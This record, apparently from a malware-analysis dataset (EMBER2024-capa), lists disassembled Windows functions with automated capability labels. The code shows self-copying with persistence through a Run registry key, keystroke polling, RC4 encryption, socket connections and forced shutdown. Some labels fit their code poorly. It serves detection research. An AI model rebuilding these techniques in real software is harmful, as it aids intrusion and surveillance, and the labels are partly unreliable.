joyce8/EMBER2024-capa huggingface dataset:
Function at 0x49a698
Capabilities:
Copy file
Create process on windows
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
mov ecx, 5
push 0
push 0
dec ecx
jne 0x49a6a0
xor eax, eax
push ebp
push 0x49a82f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x49a844
call fcn.00408e58
lea eax, [ebp - 8]
mov edx, 0x49a858
call fcn.004041d0
lea edx, [ebp - 0x14]
mov eax, dword [0x4a3b38]
mov eax, dword [eax]
call fcn.00459398
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0xc]
call fcn.0049a520
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 8]
call fcn.0049a520
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
call fcn.00404544
je 0x49a75b
lea edx, [ebp - 0x18]
mov eax, 0x49a880
call fcn.004083bc
mov eax, dword [ebp - 0x18]
call fcn.00499e98
push 0
mov eax, dword [ebp - 8]
call fcn.004045f8
push eax
lea edx, [ebp - 0x1c]
mov eax, dword [0x4a3b38]
mov eax, dword [eax]
call fcn.00459398
mov eax, dword [ebp - 0x1c]
call fcn.004045f8
push eax
call sub.kernel32.dll_CopyFileA
push 1
lea eax, [ebp - 0x20]
mov ecx, 0x49a89c
mov edx, dword [ebp - 8]
call fcn.00404444
mov eax, dword [ebp - 0x20]
call fcn.004045f8
push eax
call sub.kernel32.dll_WinExec
lea edx, [ebp - 0x24]
mov eax, dword [0x4a3b38]
mov eax, dword [eax]
call fcn.00459398
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 8]
call fcn.00404544
je 0x49a788
mov eax, dword [0x4a3b38]
mov eax, dword [eax]
call fcn.00458e74
jmp 0x49a814
mov dl, 1
mov eax, dword [0x42f9b0]
call fcn.0042fab0
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x49a80d
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x80000002
mov eax, dword [ebp - 4]
call fcn.0042fb50
xor ecx, ecx
mov edx, 0x49a8ac
mov eax, dword [ebp - 4]
call fcn.0042fbb4
test al, al
je 0x49a7ef
push 0x49a8e4
push dword [ebp - 8]
push 0x49a8f0
lea eax, [ebp - 0x28]
mov edx, 3
call fcn.004044b8
mov ecx, dword [ebp - 0x28]
mov edx, 0x49a900
mov eax, dword [ebp - 4]
call fcn.0042fea0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49a814
mov eax, dword [ebp - 4]
call fcn.0042fb20
mov eax, dword [ebp - 4]
call fcn.00403348
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49a836
lea eax, [ebp - 0x28]
mov edx, 9
call fcn.0040415c
ret

Function at 0x49a9d4
Capabilities:
Shutdown system

Disassembly:
push ebx
add esp, 0xffffffd8
mov ebx, eax
mov eax, dword [0x4a3e98]
cmp dword [eax], 2
jne 0x49aa4e
push esp
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
cmp eax, 1
sbb eax, eax
inc eax
test al, al
je 0x49aa4e
lea eax, [esp + 0xc]
push eax
push 0x49aa64
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
cmp eax, 1
sbb eax, eax
inc eax
mov dword [esp + 8], 1
mov dword [esp + 0x14], 2
mov edx, 0x10
xor ecx, ecx
mov dword [esp + 4], ecx
test al, al
je 0x49aa4e
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x1c]
push eax
push edx
lea eax, [esp + 0x14]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
push 0
push ebx
call sub.user32.dll_ExitWindowsEx
cmp eax, 1
sbb eax, eax
inc eax
add esp, 0x28
pop ebx
ret
Function at 0x49b2d0
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffef8
mov ebx, eax
push 0x105
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
mov eax, ebx
mov edx, esp
mov ecx, 0x105
call fcn.004043a8
add esp, 0x108
pop ebx
ret

Function at 0x49c2b8
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffa34
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004045e8
xor eax, eax
push ebp
push 0x49c3a0
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
lea eax, [ebp - 8]
push eax
push 0
call sub.URLMON.DLL_CoInternetCreateSecurityManager
push 0
lea eax, [ebp - 0xc]
push eax
push 0
call sub.URLMON.DLL_CoInternetCreateZoneManager
push 0
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [eax]
call dword [eax + 0x2c]
lea eax, [ebp - 0x10]
push eax
push 2
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [eax]
call dword [eax + 0x30]
lea eax, [ebp - 0x5cc]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [eax]
call dword [eax + 0xc]
mov dword [ebp - 0x20], 0x10000
lea eax, [ebp - 0x5cc]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [eax]
call dword [eax + 0x10]
push 0
mov eax, dword [ebp - 4]
call fcn.00405088
push eax
push 2
mov eax, dword [ebp - 8]
push eax
mov eax, dword [eax]
call dword [eax + 0x24]
cmp dword [ebp - 0x18], 0
je 0x49c37a
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [eax]
call dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49c3a7
lea eax, [ebp - 0xc]
call fcn.00405bbc
lea eax, [ebp - 8]
call fcn.00405bbc
lea eax, [ebp - 4]
call fcn.00404138
ret
Function at 0x405b70
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x50
push ebp
lea eax, [esp + 0x28]
push edi
push eax
call fcn.00405d20
mov ecx, dword [esp + 0x5c]
xor edx, edx
xor ebp, ebp
mov dword [esp + 0xc], 1
mov edi, dword [ecx]
mov dword [esp + 0x10], 8
mov dword [esp + 0x14], 2
mov dword [esp + 0x18], 4
mov dx, word [edi + 0x14]
cmp word [edi + 6], bp
mov dword [esp + 0x1c], 0x10
mov dword [esp + 0x20], 0x80
mov dword [esp + 0x24], 0x20
mov dword [esp + 0x28], 0x40
lea eax, [edx + edi + 0x18]
jbe 0x405c6e
push ebx
push esi
lea ebx, [eax + 0x24]
mov eax, dword [ebx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x405c11
mov eax, dword [ebx - 0x14]
mov ecx, dword [ebx - 0x1c]
push 0x4000
push eax
push ecx
call dword [esp + 0x4c]
jmp 0x405c54
lea edx, [edx + ecx*2]
test eax, 0x4000000
lea ecx, [esi + edx*2]
mov esi, dword [esp + ecx*4 + 0x14]
je 0x405c28
or esi, 0x200
mov edx, dword [ebx - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x405c43
test al, 0x40
je 0x405c3a
mov ecx, dword [edi + 0x20]
jmp 0x405c41
test al, 0x80
je 0x405c54
mov ecx, dword [edi + 0x24]
test ecx, ecx
jbe 0x405c54
mov ecx, dword [ebx - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [esp + 0x44]
mov edx, dword [esp + 0x64]
xor eax, eax
inc ebp
add ebx, 0x28
mov edi, dword [edx]
mov ax, word [edi + 6]
cmp ebp, eax
jl 0x405be0
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x50
ret
Function at 0x47e6a0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x55bbab
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0054d995
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x47e722
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0054a4d6
mov eax, dword [eax]
push 0x854d64
push eax
call fcn.0053b8f4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0054dc20
test bl, bl
je 0x47e722
push 0x854d64
lea ecx, [esp + 0xc]
call fcn.0054dffc
push 0x854d70
lea ecx, [esp + 0xc]
call fcn.0054dffc
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x47e75e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0054dc20
jmp 0x47e829
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x47e7e2
lea edx, [esp + 0x7c]
push 0x854d6c
push edx
call fcn.0053b8f4
add esp, 8
test eax, eax
je 0x47e7e2
lea eax, [esp + 0x7c]
push 0x854d68
push eax
call fcn.0053b8f4
add esp, 8
test eax, eax
je 0x47e7e2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x47e772
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0054dc20
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x47f030
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x47f092
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x47f0a0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x55bc2b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x86f958]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x47f1d8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x47f106
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0054dc20
xor eax, eax
jmp 0x47f24f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0054dda9
push esi
lea ecx, [esp + 0xc]
call fcn.0054e038
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x47f22d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.0047f030
test eax, eax
jne 0x47f22d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.0047f030
test eax, eax
jne 0x47f22d
lea eax, [esp + 0x14]
push 0x854d80
push eax
call fcn.0053cae0
mov esi, eax
add esp, 8
test esi, esi
jne 0x47f20c
lea ecx, [esp + 0x14]
push 0x854d7c
push ecx
call fcn.0053ca60
mov esi, eax
add esp, 8
test esi, esi
jne 0x47f20c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x47f20f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0054dd59
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x47f11e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0054dc20
xor eax, eax
jmp 0x47f24f
mov byte [esi], 0
push 0x854d78
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0054dc20
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4

Function at 0x48b206
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
push esi
mov esi, ecx
mov eax, dword [esi + 0x3a0]
test eax, eax
jne 0x48b22e
lea eax, [esp + 4]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
neg eax
sbb eax, eax
inc eax
mov dword [esi + 0x3a0], eax
pop esi
add esp, 0x190
ret
Function at 0x495950
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x4959be
cmp si, 0x69
ja 0x4959be
add esi, 0xffd0
cmp si, 0x11
je 0x49598e
push 0x11
call edi
test ax, ax
jge 0x49598e
or esi, 0x2000
cmp si, 0x10
je 0x4959a3
push 0x10
call edi
test ax, ax
jge 0x4959a3
or esi, 0x4000
cmp si, 0x12
je 0x4959b8
push 0x12
call edi
test ax, ax
jge 0x4959b8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x4959cb
mov esi, 0xbd
jmp 0x49597f
cmp si, 0x6e
jne 0x4959d8
mov esi, 0xbe
jmp 0x49597f
cmp si, 0x6f
jne 0x495979
mov esi, 0xbf
jmp 0x49597f

Function at 0x4973e0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x880ad0]
xor edx, edx
cmp eax, edx
jne 0x497406
xor eax, eax
mov byte [eax + 0x8809d0], al
inc eax
cmp eax, 0x100
jl 0x4973ee
mov dword [0x880ad0], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x8809d0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x497497
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x49746a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x497438
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4974a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4974f3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4974da
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x49e7d0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x49e968
cmp ebp, ebx
jle 0x49e968
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, reloc.OLEAUT32.dll_VariantInit
mov dword [esp + 0x10], edi
jns 0x49e82e
dec eax
or eax, 0xfffffff8
inc eax
je 0x49e835
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x49e844
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x49e84b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0054d961
add esp, 4
cmp eax, ebx
je 0x49e86c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0054d961
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x49e95e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x49e945
mov al, byte [edx]
cmp al, 0xc0
jbe 0x49e931
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x49e926
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x49e934
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x49e934
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x49e8d0
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x49e8c1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret

Function at 0x4a0cc0
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
push esi
mov esi, ecx
call fcn.0054f2f7
lea eax, [esp + 4]
mov dword [esi], method.CWnd.virtual_0
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
neg eax
sbb eax, eax
mov dword [esi + 0x44], 0x4d12
inc eax
mov dword [esi + 0x40], 0xffffffff
mov dword [esi + 0x3c], eax
mov eax, esi
pop esi
add esp, 0x190
ret
Function at 0x4a0e80
Capabilities:
Resolve dns

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
test esi, esi
je 0x4a0f07
cmp byte [esi], 0
je 0x4a0f07
mov ebx, dword [esp + 0xc]
xor eax, eax
mov ecx, ebx
mov edx, dword [esp + 0x14]
push edx
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
call dword [sym.imp.WS2_32.dll_htons]
push esi
mov word [ebx + 2], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x4a0ef5
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x4a0f07
movsx ecx, word [eax + 0xa]
mov edx, dword [eax + 0xc]
push edi
lea edi, [ebx + 4]
mov esi, dword [edx]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ax, word [eax + 8]
pop edi
mov word [ebx], ax
pop esi
mov eax, 1
pop ebx
ret 0xc
mov dword [ebx + 4], eax
mov word [ebx], 2
pop esi
mov eax, 1
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc

Function at 0x4a10f3
Capabilities:
Connect socket

Disassembly:
sub esp, 0x10
push esi
mov esi, ecx
mov eax, dword [esi]
call dword [eax + 0xbc]
test eax, eax
je 0x4a1162
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
push ecx
lea eax, [esp + 8]
push edx
push eax
mov ecx, esi
call fcn.004a0e80
test eax, eax
je 0x4a1162
mov edx, dword [esi + 0x40]
lea ecx, [esp + 4]
push 0x10
push ecx
push edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x4a115b
mov eax, dword [esi + 0x1c]
mov ecx, dword [esi + 0x40]
push 0x21
push 0x8078
push eax
push ecx
call dword [sym.imp.WS2_32.dll_WSAAsyncSelect]
cmp eax, 0xffffffff
je 0x4a115b
mov eax, 1
mov dword [esi + 0x48], eax
pop esi
add esp, 0x10
ret 8
mov ecx, esi
call fcn.004a10c0
xor eax, eax
pop esi
add esp, 0x10
ret 8

Function at 0x4a23b0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x55db88
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x4a23e9
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.00555c03
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.00555c8b
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.004a2470
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.00555cc8
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
Function at 0x4a6af0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x55e3b8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x54
mov eax, dword [esp + 0x74]
mov edx, dword [esp + 0x6c]
push esi
mov esi, ecx
mov ecx, dword [esp + 0x74]
push edi
push eax
mov eax, dword [esp + 0x74]
push ecx
push edx
lea ecx, [esp + 0x14]
push eax
push ecx
mov ecx, esi
call fcn.004a7670
lea edx, [esp + 0x18]
push eax
push edx
call dword [sym.imp.USER32.dll_CopyRect]
mov eax, dword [esp + 0x18]
xor edi, edi
xor ecx, ecx
cmp eax, edi
setl cl
dec ecx
xor edx, edx
and ecx, eax
mov eax, dword [esp + 0x1c]
cmp eax, edi
mov dword [esp + 0x18], ecx
setl dl
dec edx
and edx, eax
lea eax, [esp + 0x18]
push eax
mov dword [esp + 0x20], edx
call dword [sym.imp.USER32.dll_IsRectEmpty]
test eax, eax
je 0x4a6b99
mov eax, dword [esp + 0x6c]
push ebx
mov ebx, eax
xor ecx, ecx
xor edx, edx
xor esi, esi
mov dword [ebx], ecx
mov dword [ebx + 4], edx
mov dword [ebx + 8], esi
mov dword [ebx + 0xc], edi
pop ebx
pop edi
pop esi
mov ecx, dword [esp + 0x54]
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14
lea ecx, [esp + 8]
push ecx
mov ecx, esi
call fcn.004a6780
mov edx, eax
mov eax, dword [edx]
mov ecx, dword [edx + 4]
push ecx
push eax
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.USER32.dll_OffsetRect]
push edi
lea ecx, [esp + 0x4c]
call fcn.00554958
mov ecx, dword [esi + 0x5c]
mov edx, dword [esi + 0x58]
push ecx
lea eax, [esp + 0x4c]
push edx
push eax
mov dword [esp + 0x70], edi
call fcn.004bc9d0
mov edx, dword [esp + 0x5c]
add esp, 0xc
lea ecx, [esp + 0x18]
push 2
push ecx
push edx
call dword [sym.imp.GDI32.dll_LPtoDP]
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x38]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
lea edx, [esp + 0x38]
lea eax, [esp + 0x18]
push edx
lea ecx, [esp + 0x2c]
push eax
push ecx
call dword [sym.imp.USER32.dll_IntersectRect]
mov esi, dword [esp + 0x6c]
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
mov edx, esi
mov dword [esp + 0x64], 0xffffffff
mov dword [edx], eax
mov eax, dword [esp + 0x30]
mov dword [edx + 4], ecx
mov ecx, dword [esp + 0x34]
mov dword [edx + 8], eax
mov dword [edx + 0xc], ecx
lea ecx, [esp + 0x48]
call fcn.005549ca
mov ecx, dword [esp + 0x5c]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14